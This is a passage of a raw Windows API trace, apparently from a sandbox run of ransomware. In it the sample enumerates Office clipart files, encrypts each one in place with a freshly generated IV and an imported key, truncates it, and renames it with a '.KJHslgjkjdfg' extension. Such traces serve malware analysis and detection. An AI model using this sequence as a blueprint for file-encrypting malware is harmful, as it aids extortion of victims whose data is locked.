lpNumberOfBytesWritten=0x4dff270*=0x23b0, lpOverlapped=0x0) returned 1 [0241.311] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0241.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.311] SetEndOfFile (hFile=0x130) returned 1 [0241.314] GetProcessHeap () returned 0x2ef0000 [0241.314] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0241.314] GetProcessHeap () returned 0x2ef0000 [0241.314] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0241.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.kjhslgjkjdfg")) returned 1 [0241.316] CloseHandle (hObject=0x130) returned 1 [0241.317] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02025_.WMF", cAlternateFileName="")) returned 1 [0241.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0241.318] GetProcessHeap () returned 0x2ef0000 [0241.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0241.318] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0241.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0241.319] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0242.115] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0242.115] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0242.115] GetProcessHeap () returned 0x2ef0000 [0242.115] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0242.115] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0242.115] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0242.115] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0242.115] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0242.115] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0242.115] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0242.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0242.116] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0242.116] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0242.116] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0242.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.116] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2016, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2016, lpOverlapped=0x0) returned 1 [0242.125] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2020, dwBufLen=0x2020 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2020) returned 1 [0242.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.125] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2020, lpOverlapped=0x0) returned 1 [0242.126] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0242.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.126] SetEndOfFile (hFile=0x130) returned 1 [0242.126] GetProcessHeap () returned 0x2ef0000 [0242.126] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0242.126] GetProcessHeap () returned 0x2ef0000 [0242.126] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0242.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.kjhslgjkjdfg")) returned 1 [0242.128] CloseHandle (hObject=0x130) returned 1 [0242.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02028_.WMF", cAlternateFileName="")) returned 1 [0242.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0242.129] GetProcessHeap () returned 0x2ef0000 [0242.129] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0242.129] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0242.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0242.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.262] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.263] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.263] GetProcessHeap () returned 0x2ef0000 [0243.263] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.263] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.263] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.263] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.264] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.264] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.264] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.264] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x24c8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x24c8, lpOverlapped=0x0) returned 1 [0243.275] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x24d0, dwBufLen=0x24d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x24d0) returned 1 [0243.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.276] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x24d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x24d0, lpOverlapped=0x0) returned 1 [0243.276] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x25a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.276] SetEndOfFile (hFile=0x130) returned 1 [0243.291] GetProcessHeap () returned 0x2ef0000 [0243.291] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.291] GetProcessHeap () returned 0x2ef0000 [0243.291] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.kjhslgjkjdfg")) returned 1 [0243.648] CloseHandle (hObject=0x130) returned 1 [0243.649] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x266c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02045_.WMF", cAlternateFileName="")) returned 1 [0243.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.650] GetProcessHeap () returned 0x2ef0000 [0243.650] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.650] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.651] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.651] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.654] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.654] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.654] GetProcessHeap () returned 0x2ef0000 [0243.654] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.654] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.654] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.654] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.654] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.655] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.655] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.655] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.655] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.655] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.655] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x266c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x266c, lpOverlapped=0x0) returned 1 [0243.659] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2670, dwBufLen=0x2670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2670) returned 1 [0243.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.659] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2670, lpOverlapped=0x0) returned 1 [0243.659] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.659] SetEndOfFile (hFile=0x130) returned 1 [0243.662] GetProcessHeap () returned 0x2ef0000 [0243.662] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.662] GetProcessHeap () returned 0x2ef0000 [0243.662] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.kjhslgjkjdfg")) returned 1 [0243.664] CloseHandle (hObject=0x130) returned 1 [0243.664] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02048_.WMF", cAlternateFileName="")) returned 1 [0243.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.668] GetProcessHeap () returned 0x2ef0000 [0243.668] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.668] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.668] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0243.698] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.698] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.698] GetProcessHeap () returned 0x2ef0000 [0243.698] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.698] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.698] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.698] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.698] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.698] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.698] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.699] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.699] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.699] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.699] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1fde, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1fde, lpOverlapped=0x0) returned 1 [0243.745] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1fe0, dwBufLen=0x1fe0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1fe0) returned 1 [0243.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.745] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1fe0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1fe0, lpOverlapped=0x0) returned 1 [0243.746] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.746] SetEndOfFile (hFile=0x130) returned 1 [0243.750] GetProcessHeap () returned 0x2ef0000 [0243.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.750] GetProcessHeap () returned 0x2ef0000 [0243.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 